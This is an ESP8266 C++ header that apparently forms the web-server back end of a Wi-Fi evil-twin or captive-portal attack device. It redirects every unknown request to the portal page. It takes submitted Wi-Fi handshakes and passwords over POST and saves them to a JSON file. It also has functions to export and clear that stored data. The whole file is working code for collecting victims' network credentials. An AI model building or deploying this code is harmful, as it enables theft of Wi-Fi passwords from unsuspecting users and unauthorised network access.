1#pragma once
2
3#include <LittleFS.h>
4#include <ESP8266WebServer.h>
5#include "utils.h"
6
7extern void handleRequest(ESP8266WebServer& server,String fileName,String ext);
8extern void handleNotFound(ESP8266WebServer& server);
9extern void handlePostHandshake(ESP8266WebServer& server);
10extern void handlePostPassword(ESP8266WebServer& server);
11
12extern String getDatas();
13extern String clearHandshakes();
14extern String clearPasswords();
15
16void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
17 File files = LittleFS.open("/"+ext+fileName, "r");
18 if (files) {
19 if(ext=="js"){
20 ext = "javascript";
21 }
22 server.streamFile(files, "text/"+ext);
23 files.close();
24 }
25 else {
26 server.send(404, "text/plain", "File not found");
27 }
28}
29
30void handleNotFound(ESP8266WebServer& server) {
31 server.sendHeader("Location", "/");
32 server.send(302, "text/html", "");
33}
34
35void handlePostHandshake(ESP8266WebServer& server) {
36 String handshake = server.arg("plain");
37 if (handshake == "") {
38 server.send(200,"application/json","{\"message\":\"Handshake is empty.\"}");
39 return;
40 }
41 DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
42 JsonArray handshakes = handshakeJson["handshakes"];
43 handshakes.add(handshake);
44 writeJsonFile("/json/datas.json", handshakeJson);
45 server.send(200,"application/json","{\"message\":\"Handshake added.\"}");
46}
47
48void handlePostPassword(ESP8266WebServer& server) {
49 String password = server.arg("plain");
50 if (password == "") {
51 server.send(200,"application/json","{\"message\":\"Password is empty.\"}");
52 return;
53 }
54 DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
55 JsonArray handshakes = handshakeJson["passwords"];
56 handshakes.add(password);
57 writeJsonFile("/json/datas.json", handshakeJson);
58 server.send(200,"application/json","{\"message\":\"Password added.\"}");
59}
60
61String getDatas() {
62 File file = LittleFS.open("/json/datas.json", "r");
63 String jsonString = file.readString();
64 file.close();
65
66 jsonString.replace("\\\"", "\"");
67 jsonString.replace("\"{", "{");
68 jsonString.replace("}\"", "}");
69 return jsonString;
70}
71
72String clearHandshakes() {
73 DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
74 JsonArray handshakes = handshakeJson["handshakes"];
75 handshakes.clear();
76 writeJsonFile("/json/datas.json", handshakeJson);
77 return "{\"message\":\"Handshakes cleared.\"}";
78}
79
80String clearPasswords() {
81 DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
82 JsonArray handshakes = handshakeJson["passwords"];
83 handshakes.clear();
84 writeJsonFile("/json/datas.json", handshakeJson);
85 return "{\"message\":\"Passwords cleared.\"}";
86}